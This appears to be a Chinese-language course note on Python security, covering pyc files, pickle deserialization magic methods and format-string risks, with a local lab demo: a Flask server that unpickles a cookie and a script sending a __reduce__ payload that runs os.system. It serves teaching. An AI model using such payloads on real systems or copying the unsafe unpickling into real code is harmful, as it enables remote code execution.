Python安全

Python安全
EZL1NGPython安全
Python-PYC
简介
pyc 文件是py 文件编译后生成的字节码文件(byte code),pyc 文件经过python 解释器最 终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般 py 文件改变后,都会重新生成pyc文件。
Python-反序列化
序列化:把类对象转化为字节流或文件
反序列化:将字节流或文件转化为类对象
各类语言序列化和反序列化函数:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、 ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、 ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle marshal json PyYAML shelve PIL unzip
python-反序列化函数使用:
- pickle.dump (obj, file) : 将对象序列化后保存到文件
- pickle.load (file) : 将文件序列化内容反序列化为对象
- pickle.dumps (obj) : 将对象序列化成字符串格式的字节流
- pickle.loads (bytes_obj) : 将字符串字节流反序列化为对象
- PyYAML yaml.load()
- JSON json.loads(s)
- marshal
魔术方法:
- 反序列化时调用:
- reduce () 反序列化时调用
- reduce_ex () 反序列化时调用
- 发现前面这两个同时都有的时候,执行 reduce_ex 里面的,不执行 reduce 的
- setstate () 反序列化时调用(类似于 php 的 isset 被设置)
- 这个小迪没测试出来,貌似有点问题
- 序列化时调用:
- getstate () 序列化时调用
- 这个我测试的时候是只要有 reduce 或者 reduce_ex 就不会执行
- getstate () 序列化时调用
演示
序列化和反序列化演示 - test.py
序列化和反序列化形成 - test.py
测试代码 test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import pickle
import os,base64
class test(object):
def a(self):
print('a')
def __reduce__(self):
#os.system('calc')
return (eval, ("__import__('os').system('calc')",))
def __reduce_ex__(self, protocol):
return (eval, ("__import__('os').system('notepad')",))
def __getstate__(self):
cmd = "mstsc" # 命令
os.system(cmd)
def __setstate__(self, state):
os.system('calc')
t=test()
dt=pickle.dumps(t) #序列化
print(dt)序列化和反序列化利用 - server.py pop.py
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user) #反序列化
return "Hello %s" % user
except:
username = "Guest"
return "Hello %s" % username
if __name__ == '__main__':
app.run(
host='0.0.0.0',
port=5000,
debug=True
)pop.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
return (eval, ("__import__('os').system('calc')",))
e = exp()
s = pickle.dumps(e)
user=base64.b64encode(s).decode()
print(user)
response = requests.get("http://127.0.0.1:5000/", cookies=dict(user=base64.b64encode(s).decode()))
Python - 格式化字符串 - 类魔术方法引用
参考地址:https://xz.aliyun.com/t/3569
第一种:% 操作符
第二种:string.Template
第三种:调用 format 方法 (可控格式化字符串)
- str-vuln.py
第四种: f-Strings(可控格式化字符串)
前面三个没什么危害,主要是第四种,重点关注
这是 python3.6 之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的 python 表达式
>>> a , b = 5 , 10 >>> f'Five plus ten is {a + b} and not {2 * (a + b)}.' 'Five plus ten is 15 and not 30.' >>> f'{__import__("os").system("id")}' uid=0(root) gid=0(root) groups=0(root) '0'
更多参考:
第71天:WEB攻防-Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全 – The-Starry-Sky